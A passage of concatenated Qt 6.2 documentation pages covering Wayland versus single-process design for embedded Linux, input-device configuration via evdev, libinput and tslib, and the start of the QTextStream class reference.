  X11 has been extended to support features such as composition and direct rendering, but Wayland is designed around this use case from the ground up. It also aims to be small and extensible, in contrast to the complexity that has developed in X11 over time.

 Extensibility and Embedded Systems
----------------------------------

 Since Wayland has a minimal core and is easily extensible, it is an ideal tool when building embedded Linux platforms.

 Desktop-style window system features, for instance, are not part of the core protocol. Instead, Wayland has a special category of protocol extensions called "shells" that provide a way for the client to manage its surfaces. Desktop-style features are provided through a shell called `XDG Shell`. For other types of systems, a more specialized (and perhaps more restrictive) "shell" can be used. For instance, when making In-Vehicle Infotainment systems, the `IVI Shell` might be preferable.

 The Wayland server broadcasts a list of its supported protocols (or "interfaces") when a client connects, and the client can bind to the ones it wants to use. This can be any of the standard interfaces, but new extensions are also easy to add. Wayland defines an easily understandable XML format for defining protocols and the `waylandscanner` tool can be used to generate C code from these. (In Qt, we also have `qtwaylandscanner` which generates additional C++ binding code.)

 After a client binds to an interface, it can make "requests" to the server and the server can send "events" to the client. The requests and events, as well as their arguments, are defined in the XML file describing the protocol.

 For building a platform from scratch, when you control the code of both server and clients, adding extensions is an easy and controlled way of adding operating system features.

 Multi-Process or Single-Process
-------------------------------

 When building a simple embedded platform with Qt, a perfectly viable option is to have all parts of the UI running in a single process. However, as the system becomes more complex, you may want to consider a multi-process system instead. This is where Wayland comes in. With Qt, at any point in your development process, you can choose to switch between single-process and multi-process.

 ### Benefits of Multi-Process

 The following diagrams illustrate the difference between multi-process and single-process systems.

 ![]


Multi-Process Client Architecture

 ![]


Single Process Client Architecture

 The [Qt Wayland Compositor](qtwaylandcompositor-index) module is ideal for creating the display server and compositor in multi-process systems on embedded Linux. The use of multi-process has the following benefits:

 * [Stability](wayland-and-qt#stability)
* [Security](wayland-and-qt#security)
* [Performance](wayland-and-qt#performance)
* [Interoperability](wayland-and-qt#interoperability)

 

| Stability |
| --- |
| Easier to recover when clients hang or crash | If you have a complex UI, then multi-process is useful because if one part of the UI crashes, it doesn't affect the entire system. Similarly, the display won't freeze, even when one client freezes. **Note:** If your client is mandated by law to render safety-critical information, consider using [Qt Safe Renderer Overview](https://doc.qt.io/QtSafeRenderer/qtsr-overview.html).  |
| Protection against possible memory leaks | In a multi-process system, if one client has a memory leak and consumes lots of memory, that memory is recovered when that client exits. In contrast with single-process, the memory leak remains until the entire system restarts. |

 

| Security |
| --- |
| In a single-process system, all clients can access each other's memory. For example, there's no isolation for sensitive data transfer; every line of code must be equally trustworthy. This isolation is there, by design, in multi-process systems. |

 

| Performance |
| --- |
| If you have a CPU with multiple cores, a multi-process system can help distribute the load evenly across different cores, making more efficient use of your CPU. |

 

| Interoperability |
| --- |
| You can interface with non-Qt clients in a multi-process system, as long as your clients understand Wayland or X11. For example, if you use gstreamer for video or if you want to use a navigation application built with another UI toolkit, you can run these clients alongside your other Qt-based clients. |

 ### Trade-offs of Multi-Process

 When going from single-process to multi-process, it is important to be conscious of the following trade-offs:

 * [Increased video memory consumption](wayland-and-qt#increased-video-memory)
* [Increased main memory consumption](wayland-and-qt#increased-main-memory)
* [Repeated storage of graphical resources](wayland-and-qt#repeated-storage)
* [Input latency](wayland-and-qt#input-latency)

 

| Increased video memory consumption |
| --- |
| This can be a constraint for embedded devices. In multi-process, each client needs to have its own graphics buffer, which it sends to the compositor. Consequently, you use more video memory compared to the single-process case: where everything is drawn at once and there is no need to store the different parts in intermediary buffers. |

 

| Increased main memory consumption |
| --- |
| Apart from some extra overhead at the OS level, running multiple clients may also use more main memory as some parts need to be duplicated once per client. For example, if you run QML, each client requires a separate QML engine. Consequently, if you run a single client that uses Qt Quick Controls, it's loaded once. If you then split this client into multiple clients, you're loading Qt Quick Controls multiple times, resulting in a higher startup cost to initialize your clients. |

 

| Repeated storage of graphical resources |
| --- |
| In a single-process system, if you're using the same textures, background, or icons in many places, those images are only stored once. In contrast, if you use these images in a multi-process system, then you have to store them multiple times. In this case, one solution is to share graphical resource between clients. Qt already allows sharing image resources in main memory across processes without involving Wayland. Sharing GPU textures across processes, on the other hand, requires more intricate solutions. With Qt, such solutions can be developed as Wayland extension protocols and with [QQuickImageProvider](qquickimageprovider), for instance. |

 

| Input-to-photon latency |
| --- |
| On a single-process system, the application accesses the main frame buffer directly. This means that the latency between input events and reflecting them on screen can be minimized in such a setup. On a multi-process system, the application content has to be triple-buffered to ensure the client isn't drawing into the buffers while they are simultaneously being read by the server, as that would cause tearing. This means that there is an implicit latency in a multi-process system. |

 Why Use Wayland Instead of X11 or Custom Solutions
--------------------------------------------------

 As described earlier, X11 is not an optimal match for typical system setups today. It is quite large and complex, and it lacks customizability. In fact, it is difficult to run a client fluidly with X11, and reach 60 fps without tearing. Wayland, in contrast, is easier to implement, has better performance, and contains all the necessary parts to run efficiently on modern graphics hardware. For embedded, multi-process systems on Linux, Wayland is the standard.

 However, if you are working with old hardware or legacy applications, then Wayland may not be a good option. The Wayland protocol is designed with security and isolation in mind, and is strict/conservative about what information and functionality is available to clients. While this leads to a cleaner and more secure interface, some functionality that legacy applications expect may no longer be available on Wayland.

 Particularly, there are three common use cases where Wayland may not be the best option:

 1. The hardware or platform is old and only supports X11; in which case you have no choice.
2. You have to support legacy applications that depend on features that are absent in the Wayland protocol for security and simplicity.
3. You have to support legacy applications that use a UI toolkit that doesn't run on Wayland at all. In some cases, you may be able to work around this by running those applications on [XWayland](https://wayland.freedesktop.org/xserver.html) instead.

 Back when X11 was very popular, developers wrote their own custom solutions to circumvent X11 issues. Older Qt versions had the Qt Windowing System (QWS), which is now discontinued. Today, most of these use cases are covered by Wayland, and custom solutions are becoming less and less common.

 What Qt Wayland Offers
----------------------

 **For Clients** Qt clients can run on any Wayland compositor, including Weston, the reference compositor developed as part of the Wayland project.

 Any Qt program can run as a Wayland client (as part of a multi-process system) or a standalone client (single-process). This is determined on startup, where you can choose between the different backends. During the development process, you can develop the client on the desktop first, then test it on the target hardware later. You don't need to run your clients on the actual target hardware all the time.

 ![]


Single-Process Client Development

 If you develop on a Linux machine, you can also run the compositor within a window on your development machine. This lets you run clients in an environment that closely resembles the target device. Without rebuilding the client, you can also run it with `-platform wayland` to run it inside the compositor. If you use `-platform xcb` (for X11), you can run the client on the desktop. In other words, you can start developing your clients before the compositor is ready for use.

 **For Servers** The server, or compositor, connects to the display and shows the contents of each client on the screen. The compositor handles input and sends input events to the corresponding client. In turn, each client connects to the compositor and sends the content of its windows. It's up to the compositor to decide:

 * How and where to show the content
* Which content to show
* What to do with the different client graphics buffers

 This means, it's up to the compositor to decide what a multi-process system is. For instance, the clients could be part of a 3D scene with windows on the walls, on a VR system, mapped to a sphere, and so on.

 The [Qt Wayland Compositor](qtwaylandcompositor-index) is an API for building your own compositor. It gives you full freedom to build a custom compositor UI and manage the windows of various clients. You can combine both Qt Quick and QML with the Qt Wayland Compositor to create impressive, imaginative UIs. For more information, see [Qt Wayland Compositor](qtwaylandcompositor-index).

 Qt also provides powerful and user-friendly APIs to implement Wayland extensions and use them from QML or C++.

 ### Related Content

 * [QtWS17 - Qt Wayland Compositor: Creating multi-process user interface](https://resources.qt.io/videos/qtws17-qt-wayland-compositor-creating-multi-process-user-interface-johan-helsing-the-qt-company)
* [Qt Application Manager](https://doc.qt.io/QtApplicationManager/introduction.html)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/wayland-and-qt.html>

Inputs on an Embedded Linux Device
==================================

 On your Embedded Linux device, when there's no windowing system present, the mouse, keyboard, and touch input are read directly via `evdev` or using helper libraries such as `libinput` or `tslib`. However, this behavior requires that device nodes `/dev/input/event*` are readable by the user. `eglfs` and `linuxfb` have all the input handling code compiled-in.

 ### Use libinput

 [libinput](https://www.freedesktop.org/wiki/Software/libinput) is a library to handle input devices that offers an alternative to the Qt's own `evdev` input support. To enable using `libinput`, when you configure and build Qt, make sure that the development files for `libudev` and `libinput` are available. If you require keyboard support, then `xkbcommon` is also necessary. With `eglfs` and `linuxfb`, no further actions are necessary as these plugins use `libinput` by default. If `libinput` support is not available or the `QT_QPA_EGLFS_NO_LIBINPUT` environment variable is set, then Qt's own `evdev` handlers are used instead.

 ### Input on eglfs and linuxfb without libinput

 Parameters like the device node name can be set in the `QT_QPA_EVDEV_MOUSE_PARAMETERS`, `QT_QPA_EVDEV_KEYBOARD_PARAMETERS` and `QT_QPA_EVDEV_TOUCHSCREEN_PARAMETERS` environment variables; separate your entries with colons. These parameters are an alternative to passing the settings in the `-plugin` command-line argument, and with some backends they are essential. But `eglfs` and `linuxfb` use built-in input handlers so there's no separate `-plugin` argument in use.

 Additionally, the built-in input handlers can be disabled by setting `QT_QPA_EGLFS_DISABLE_INPUT` (for `eglfs`) or `QT_QPA_FB_DISABLE_INPUT` (for `linuxfb`) to `1`.

 ### Mouse

 The mouse cursor shows up whenever `QT_QPA_EGLFS_HIDECURSOR` (for `eglfs`) or `QT_QPA_FB_HIDECURSOR` (for `linuxfb`) isn't set and Qt's libudev-based device discovery reports that at least one mouse is available. When `libudev` support is not present, the mouse cursor is always displayed; unless it's explicitly disabled via the environment variable.

 If Qt was configured with `libudev` support, connecting or disconnecting an input device while the application is running (hot plugging) is supported. Then `libudev` development headers are present in the sysroot at configure time.

 The `evdev` mouse handler supports the following extra parameters:

 

| Parameter | Description |
| --- | --- |
| `/dev/input/...` | Specifies the name of the input device. If unspecified, Qt looks for a suitable device either via `libudev` or by traversing the available nodes. |
| `nocompress` | By default, input events that don't lead to changing the position compared to the last Qt mouse event are compressed. A new Qt mouse event is sent only after a change in the position or button state. To disable this behavior, set the `nocompress` parameter. |
| `dejitter` | Specifies a jitter limit; disabled by default. |
| `grab` | When set to `1`, Qt grabs the device for exclusive use. |
| `abs` | Some touchscreens report absolute coordinates and can't be differentiated from touchpads. In this case, pass `abs` to indicate that the device is using absolute events. |

 ### Keyboard

 The `evdev` keyboard handler supports the following extra parameters:

 

| Parameter | Description |
| --- | --- |
| `/dev/input/...` | Specifies the name of the input device. If unspecified, Qt looks for a suitable device either via `libudev` or by traversing the available nodes. |
| `grab` | Enables grabbing the input device. |
| `keymap` | Specifies the name of a custom keyboard map file. |
| `enable-compose` | Enables compositing. |
| `repeat-delay` | Sets a custom key repeat delay. |
| `repeat-rate` | Sets a custom key repeat rate. |

 On Embedded Linux systems that don't have their terminal sessions disabled, the behavior on a key press can be confusing, as the input event is processed by the Qt application and the tty. To overcome this, the following options are available:

 * On application startup, `EGLFS` and `LinuxFB` attempt to disable the terminal keyboard by setting the tty's keyboard mode to `K_OFF`. This prevents keystrokes from being sent to the terminal. If the standard behavior is required, set the `QT_QPA_ENABLE_TERMINAL_KEYBOARD` environment variable to `1`. Note that this works only when the application is launched from a remote console, via `ssh` for example, and the terminal keyboard input remains enabled.
* An alternative approach is to use the `evdev` keyboard handler's `grab` parameter by passing `grab=1` in `QT_QPA_EVDEV_KEYBOARD_PARAMETERS`. This results in trying to get a grab on the input device. If the `grab` is successful, no other components in the system receive events from it, as long as the Qt application is running. This approach is more suitable for applications that start remotely as it doesn't need access to the tty device.
* Finally, for many specialized Embedded Linux images it doesn't make sense to have the standard terminal sessions enabled in the first place. For more details on how to disable these terminal sessions, refer to your build environment's Documentation. For example, when generating images using the [Yocto Project](https://www.yoctoproject.org), unsetting `SYSVINIT_ENABLED_GETTYS` results in having no `getty` process running. This means, there's no input on any of the virtual terminals.

 If the default built-in keymap is not sufficient, you can specify a different one via the `keymap` parameter.

  **Note:** Special system key combinations, such as console switching (**Ctrl+Alt+Fx**) or zap (**Ctrl+Alt+Backspace**) are not currently supported and are ignored.

  To generate a custom keymap, use the `kmap2qmap` utility, that can be found in the `qttools` module. The source files have to be in standard Linux `kmap` format, which is understood by the kernel's `loadkeys` command. `qmap` files can be generated in one of the following ways:

 * The [Linux Console Tools (LCT)](http://lct.sourceforge.net/) project.
* [X.org](https://www.x.org/) X11 keymaps can be converted to the `kmap` format with the `ckbcomp` utility.
* As `kmap` files are plain-text files, they can also be hand crafted.

 `kmap2qmap` is a command line program, that needs at least 2 files as parameters. The last parameter is the generated `.qmap` file, while all the others are parsed as input `.kmap` files. For example:

 
```
kmap2qmap i386/qwertz/de-latin1-nodeadkeys.kmap include/compose.latin1.inc de-latin1-nodeadkeys.qmap
```
  **Note:** `kmap2qmap` doesn't support all the (pseudo) symbols that the Linux kernel supports. Consequently, when you convert a standard keymap, there'll be a number of warnings regarding `Show_Registers`, `Hex_A`, and so on; these messages can be ignored.

  ### Touch

 While it's not necessary for modern touch screens, some resistive, single-touch touch screens may require that you fallback to using `tslib` instead of relying on the Linux multi-touch protocol and the event devices.

 To enable `tslib` support, set the `QT_QPA_EGLFS_TSLIB` (for `eglfs`) or `QT_QPA_FB_TSLIB` (for `linuxfb`) environment variable to 1. To change the device, set the `TSLIB_TSDEVICE` environment variable or pass the device name on the command-line. Note that the `tslib` input handler generates mouse events and supports single touch only, as opposed to `evdevtouch` which generates true multi-touch [QTouchEvent](qtouchevent) events too.

 The `evdev` touch handler supports the following extra parameters:

 

| Parameter | Description |
| --- | --- |
| `/dev/input/...` | Specifies the name of the input device. If unspecified, Qt looks for a suitable device either via `libudev` or by traversing the available nodes. |
| `rotate` | On some touch screens the coordinates must be rotated by setting `rotate` to 90, 180, or 270. |
| `invertx` and `inverty` | Specifies the parameters to invert the X or Y coordinates in the input events. |

 For example, if you pass the following values to `QT_QPA_EVDEV_TOUCHSCREEN_PARAMETERS` before launching applications, you'd have an explicitly specified touch device with the coordinates flipped. This is useful when the orientation of the actual screen and the touch screen don't match.

 
```
export QT_QPA_EVDEV_TOUCHSCREEN_PARAMETERS=/dev/input/event5:rotate=180
```
 ### Pen-based Tablets

 The `evdevtablet` plugin provides basic support for Wacom and similar pen-based tablets. It generates [QTabletEvent](qtabletevent) events only. To enable it, pass `QT_QPA_GENERIC_PLUGINS=evdevtablet` in the environment or, alternatively, pass the `-plugin evdevtablet` argument on the command-line.

 The plugin can take a device node parameter, such as `QT_QPA_GENERIC_PLUGINS=evdevtablet:/dev/event1`, if Qt's automatic device discovery (based either on `libudev` or traversing `/dev/input/event*`) isn't functional or is misbehaving.

 ### Debug Input Devices

 It's possible to print some information to the debug output by enabling the `qt.qpa.input` logging rule, for example by setting the `QT_LOGGING_RULES` environment variable to `qt.qpa.input=true`. This is useful for detecting which device is being used, or for troubleshooting device discovery issues.

 ### Use Custom Mouse Cursor Images

 `eglfs` comes with its own set of 32x32-sized mouse cursor images. If these are insufficient, you can provide a custom cursor atlas by setting the `QT_QPA_EGLFS_CURSOR` environment variable to the name of a JSON file. This file can also be embedded into the application via [The Qt Resource System](resources).

 For example, an embedded cursor atlas with 8 cursor images per row can be specified as follows:

 
```
{
  "image": ":/cursor-atlas.png",
  "cursorsPerRow": 8,
  "hotSpots": [
      [7, 2],
      [12, 3],
      [12, 12],
      ...
  ]
}
```
 Note that the images are expected to be tightly packed in the atlas; the width and height of the cursors are determined based on the total image size and the `cursorsPerRow` setting. Atlases must also provide an image for all of the supported cursors.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/inputs-linux-device.html>

QTextStream Class
=================

 The QTextStream class provides a convenient interface for reading and writing text. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QTextStream> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |
|  Inherits: | [QIODeviceBase](qiodevicebase) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qtextstream-members.html)

 **Note:** All functions in this class are [reentrant](17-qdoc-commands-thread#reentrant).

 Public Types
------------

 

|  |  |
| --- | --- |
|  enum  | **[FieldAlignment](qtextstream#FieldAlignment-enum)** { AlignLeft, AlignRight, AlignCenter, AlignAccountingStyle } |
|  enum  | **[NumberFlag](qtextstream#NumberFlag-enum)** { ShowBase, ForcePoint, ForceSign, UppercaseBase, UppercaseDigits } |
|  flags  | **[NumberFlags](qtextstream#NumberFlag-enum)** |
|  enum  | **[RealNumberNotation](qtextstream#RealNumberNotation-enum)** { ScientificNotation, FixedNotation, SmartNotation } |
|  enum  | **[Status](qtextstream#Status-enum)** { Ok, ReadPastEnd, ReadCorruptData, WriteFailed } |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QTextStream](qtextstream#QTextStream-5)**(const QByteArray &*array*, QIODeviceBase::OpenMode *openMode* = ReadOnly) |
|  | **[QTextStream](qtextstream#QTextStream-4)**(QByteArray \**array*, QIODeviceBase::OpenMode *openMode* = ReadWrite) |
|  | **[QTextStream](qtextstream#QTextStream-3)**(QString \**string*, QIODeviceBase::OpenMode *openMode* = ReadWrite) |
|  | **[QTextStream](qtextstream#QTextStream-2)**(FILE \**fileHandle*, QIODeviceBase::OpenMode *openMode* = ReadWrite) |
|  | **[QTextStream](qtextstream#QTextStream-1)**(QIODevice \**device*) |
|  | **[QTextStream](qtextstream#QTextStream)**() |
|  virtual  | **[~QTextStream](qtextstream#dtor.QTextStream)**() |
|  bool  | **[atEnd](qtextstream#atEnd)**() const |
|  bool  | **[autoDetectUnicode](qtextstream#autoDetectUnicode)**() const |
|  QIODevice \* | **[device](qtextstream#device)**() const |
|  QStringConverter::Encoding  | **[encoding](qtextstream#encoding)**() const |
|  QTextStream::FieldAlignment  | **[fieldAlignment](qtextstream#fieldAlignment)**() const |
|  int  | **[fieldWidth](qtextstream#fieldWidth)**() const |
|  void  | **[flush](qtextstream#flush)**() |
|  bool  | **[generateByteOrderMark](qtextstream#generateByteOrderMark)**() const |
|  int  | **[integerBase](qtextstream#integerBase)**() const |
|  QLocale  | **[locale](qtextstream#locale)**() const |
|  QTextStream::NumberFlags  | **[numberFlags](qtextstream#numberFlags)**() const |
|  QChar  | **[padChar](qtextstream#padChar)**() const |
|  qint64  | **[pos](qtextstream#pos)**() const |
|  QString  | **[read](qtextstream#read)**(qint64 *maxlen*) |
|  QString  | **[readAll](qtextstream#readAll)**() |
|  QString  | **[readLine](qtextstream#readLine)**(qint64 *maxlen* = 0) |
|  bool  | **[readLineInto](qtextstream#readLineInto)**(QString \**line*, qint64 *maxlen* = 0) |
|  QTextStream::RealNumberNotation  | **[realNumberNotation](qtextstream#realNumberNotation)**() const |
|  int  | **[realNumberPrecision](qtextstream#realNumberPrecision)**() const |
|  void  | **[reset](qtextstream#reset)**() |
|  void  | **[resetStatus](qtextstream#resetStatus)**() |
|  bool  | **[seek](qtextstream#seek)**(qint64 *pos*) |
|  void  | **[setAutoDetectUnicode](qtextstream#setAutoDetectUnicode)**(bool *enabled*) |
|  void  | **[setDevice](qtextstream#setDevice)**(QIODevice \**device*) |
|  void  | **[setEncoding](qtextstream#setEncoding)**(QStringConverter::Encoding *encoding*) |
|  void  | **[setFieldAlignment](qtextstream#setFieldAlignment)**(QTextStream::FieldAlignment *mode*) |
|  void  | **[setFieldWidth](qtextstream#setFieldWidth)**(int *width*) |
|  void  | **[setGenerateByteOrderMark](qtextstream#setGenerateByteOrderMark)**(bool *generate*) |
|  void  | **[setIntegerBase](qtextstream#setIntegerBase)**(int *base*) |
|  void  | **[setLocale](qtextstream#setLocale)**(const QLocale &*locale*) |
|  void  | **[setNumberFlags](qtextstream#setNumberFlags)**(QTextStream::NumberFlags *flags*) |
|  void  | **[setPadChar](qtextstream#setPadChar)**(QChar *ch*) |
|  void  | **[setRealNumberNotation](qtextstream#setRealNumberNotation)**(QTextStream::RealNumberNotation *notation*) |
|  void  | **[setRealNumberPrecision](qtextstream#setRealNumberPrecision)**(int *precision*) |
|  void  | **[setStatus](qtextstream#setStatus)**(QTextStream::Status *status*) |
|  void  | **[setString](qtextstream#setString)**(QString \**string*, QIODeviceBase::OpenMode *openMode* = ReadWrite) |
|  void  | **[skipWhiteSpace](qtextstream#skipWhiteSpace)**() |
|  QTextStream::Status  | **[status](qtextstream#status)**() const |
|  QString \* | **[string](qtextstream#string)**() const |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt)**(QChar *c*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-1)**(char *c*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-2)**(short *i*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-3)**(unsigned short *i*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-4)**(int *i*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-5)**(unsigned int *i*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-6)**(long *i*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-7)**(unsigned long *i*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-8)**(qlonglong *i*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-9)**(qulonglong *i*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-10)**(float *f*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-11)**(double *f*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-12)**(const QString &*string*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-13)**(QStringView *string*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-14)**(QLatin1String *string*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-15)**(const QByteArray &*array*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-16)**(const char \**string*) |
|  QTextStream & | **[operator<<](qtextstream#operator-lt-lt-17)**(const void \**ptr*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt)**(QChar &*c*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt-1)**(char &*c*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt-2)**(short &*i*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt-3)**(unsigned short &*i*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt-4)**(int &*i*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt-5)**(unsigned int &*i*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt-6)**(long &*i*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt-7)**(unsigned long &*i*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt-8)**(qlonglong &*i*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt-9)**(qulonglong &*i*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt-10)**(float &*f*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt-11)**(double &*f*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt-12)**(QString &*str*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt-13)**(QByteArray &*array*) |
|  QTextStream & | **[operator>>](qtextstream#operator-gt-gt-14)**(char \**c*) |

 Related Non-Members
-------------------

 

|  |  |
| --- | --- |
|  QTextStreamManipulator  | **[qSetFieldWidth](qtextstream#qSetFieldWidth)**(int *width*) |
|  QTextStreamManipulator  | **[qSetPadChar](qtextstream#qSetPadChar)**(QChar *ch*) |
|  QTextStreamManipulator  | **[qSetRealNumberPrecision](qtextstream#qSetRealNumberPrecision)**(int *precision*) |

 Detailed Description
--------------------

 QTextStream can operate on a [QIODevice](qiodevice), a [QByteArray](qbytearray) or a [QString](qstring). Using QTextStream's streaming operators, you can conveniently read and write words, lines and numbers. For generating text, QTextStream supports formatting options for field padding and alignment, and formatting of numbers. Example:

 
```
QFile data("output.txt");
if (data.open(QFile::WriteOnly | QFile::Truncate)) {
    QTextStream out(&data);
    out << "Result: " << qSetFieldWidth(10) << left << 3.14 << 2.7;
    // writes "Result: 3.14      2.7       "
}
```
 It's also common to use QTextStream to read console input and write console output. QTextStream is locale aware, and will automatically decode standard input using the correct encoding. Example:

 
```
QTextStream stream(stdin);
QString line;
while (stream.readLineInto(&line)) {
    ...
}
```
 Besides using QTextStream's constructors, you can also set the device or string QTextStream operates on by calling [setDevice](qtextstream#setDevice)() or [setString](qtextstream#setString)(). You can seek to a position by calling [seek](qtextstream#seek)(), and [atEnd](qtextstream#atEnd)() will return true when there is no data left to be read. If you call [flush](qtextstream#flush)(), QTextStream will empty all data from its write buffer into the device and call [flush](qtextstream#flush)() on the device.

 Internally, QTextStream uses a Unicode based buffer, and [QStringConverter](qstringconverter) is used by QTextStream to automatically support different encodings. By default, UTF-8 is used for reading and writing, but you can also set the encoding by calling [setEncoding](qtextstream#setEncoding)(). Automatic Unicode detection is also supported. When this feature is enabled (the default behavior), QTextStream will detect the UTF-8, UTF-16 or the UTF-32 BOM (Byte Order Mark) and switch to the appropriate UTF encoding when reading. QTextStream does not write a BOM by default, but you can enable this by calling [setGenerateByteOrderMark](qtextstream#setGenerateByteOrderMark)(true). When QTextStream operates on a [QString](qstring) directly, the encoding is disabled.

 There are three general ways to use QTextStream when reading text files:

 * Chunk by chunk, by calling [readLine](qtextstream#readLine)() or [readAll](qtextstream#readAll)().
* Word by word. QTextStream supports streaming into [QString](qstring)s, [QByteArray](qbytearray)s and char\* buffers. Words are delimited by space, and leading white space is automatically skipped.
* Character by character, by streaming into [QChar](qchar) or char types. This method is often used for convenient input handling when parsing files, independent of character encoding and end-of-line semantics. To skip white space, call [skipWhiteSpace](qtextstream#skipWhiteSpace)().

 Since the text stream uses a buffer, you should not read from the stream using the implementation of a superclass. For instance, if you have a [QFile](qfile) and read from it directly using [QFile::readLine](qiodevice#readLine)() instead of using the stream, the text stream's internal position will be out of sync with the file's position.

 By default, when reading numbers from a stream of text, QTextStream will automatically detect the number's base representation. For example, if the number starts with "0x", it is assumed to be in hexadecimal form. If it starts with the digits 1-9, it is assumed to be in decimal form, and so on. You can set the integer base, thereby disabling the automatic detection, by calling [setIntegerBase](qtextstream#setIntegerBase)(). Example:

 
```
QTextStream in("0x50 0x20");
int firstNumber, secondNumber;

in >> firstNumber;             // firstNumber == 80
in >> dec >> secondNumber;     // secondNumber == 0

char ch;
in >> ch;                      // ch == 'x'
```
 QTextStream supports many formatting options for generating text. You can set the field width and pad character by calling [setFieldWidth](qtextstream#setFieldWidth)() and [setPadChar](qtextstream#setPadChar)(). Use [setFieldAlignment](qtextstream#setFieldAlignment)() to set the alignment within each field. For real numbers, call [setRealNumberNotation](qtextstream#setRealNumberNotation)() and [setRealNumberPrecision](qtextstream#setRealNumberPrecision)() to set the notation ([SmartNotation](qtextstream#RealNumberNotation-enum), [ScientificNotation](qtextstream#RealNumberNotation-enum), [FixedNotation](qtextstream#RealNumberNotation-enum)) and precision in digits of the generated number. Some extra number formatting options are also available through [setNumberFlags](qtextstream#setNumberFlags)().

 Like `<iostream>` in the standard C++ library, QTextStream also defines several global manipulator functions:

 

| Manipulator | Description |
| --- | --- |
| [Qt::bin](qt#bin) | Same as [setIntegerBase](qtextstream#setIntegerBase)(2). |
| [Qt::oct](qt#oct) | Same as [setIntegerBase](qtextstream#setIntegerBase)(8). |
| [Qt::dec](qt#dec) | Same as [setIntegerBase](qtextstream#setIntegerBase)(10). |
| [Qt::hex](qt#hex) | Same as [setIntegerBase](qtextstream#setIntegerBase)(16). |
| [Qt::showbase](qt#showbase) | Same as [setNumberFlags](qtextstream#setNumberFlags)([numberFlags](qtextstream#numberFlags)() | [ShowBase](qtextstream#NumberFlag-enum)). |
| [Qt::forcesign](qt#forcesign) | Same as [setNumberFlags](qtextstream#setNumberFlags)([numberFlags](qtextstream#numberFlags)() | [ForceSign](qtextstream#NumberFlag-enum)). |
| [Qt::forcepoint](qt#forcepoint) | Same as [setNumberFlags](qtextstream#setNumberFlags)([numberFlags](qtextstream#numberFlags)() | [ForcePoint](qtextstream#NumberFlag-enum)). |
| [Qt::noshowbase](qt#noshowbase) | Same as [setNumberFlags](qtextstream#setNumberFlags)([numberFlags](qtextstream#numberFlags)() & ~[ShowBase](qtextstream#NumberFlag-enum)). |
| [Qt::noforcesign](qt#noforcesign) | Same as [setNumberFlags](qtextstream#setNumberFlags)([numberFlags](qtextstream#numberFlags)() & ~[ForceSign](qtextstream#NumberFlag-enum)). |
| [Qt::noforcepoint](qt#noforcepoint) | Same as [setNumberFlags](qtextstream#setNumberFlags)([numberFlags](qtextstream#numberFlags)() & ~[ForcePoint](qtextstream#NumberFlag-enum)). |
| [Qt::uppercasebase](qt#uppercasebase) | Same as [setNumberFlags](qtextstream#setNumberFlags)([numberFlags](qtextstream#numberFlags)() | [UppercaseBase](qtextstream#NumberFlag-enum)). |
| [Qt::uppercasedigits](qt#uppercasedigits) | Same as [setNumberFlags](qtextstream#setNumberFlags)([numberFlags](qtextstream#numberFlags)() | [UppercaseDigits](qtextstream#NumberFlag-enum)). |
| [Qt::lowercasebase](qt#lowercasebase) | Same as [setNumberFlags](qtextstream#setNumberFlags)([numberFlags](qtextstream#numberFlags)() & ~[UppercaseBase](qtextstream#NumberFlag-enum)). |
| [Qt::lowercasedigits](qt#lowercasedigits) | Same as [setNumberFlags](qtextstream#setNumberFlags)([numberFlags](qtextstream#numberFlags)() & ~[UppercaseDigits](qtextstream#NumberFlag-enum)). |
| [Qt::fixed](qt#fixed) | Same as [setRealNumberNotation](qtextstream#setRealNumberNotation)([FixedNotation](qtextstream#RealNumberNotation-enum)). |
| [Qt::scientific](qt#scientific) | Same as [setRealNumberNotation](qtextstream#setRealNumberNotation)([ScientificNotation](qtextstream#RealNumberNotation-enum)). |
| [Qt::left](qt#left) | Same as [setFieldAlignment](qtextstream#setFieldAlignment)([AlignLeft](qtextstream#FieldAlignment-enum)). |
| [Qt::right](qt#right) | Same as [setFieldAlignment](qtextstream#setFieldAlignment)([AlignRight](qtextstream#FieldAlignment-enum)). |
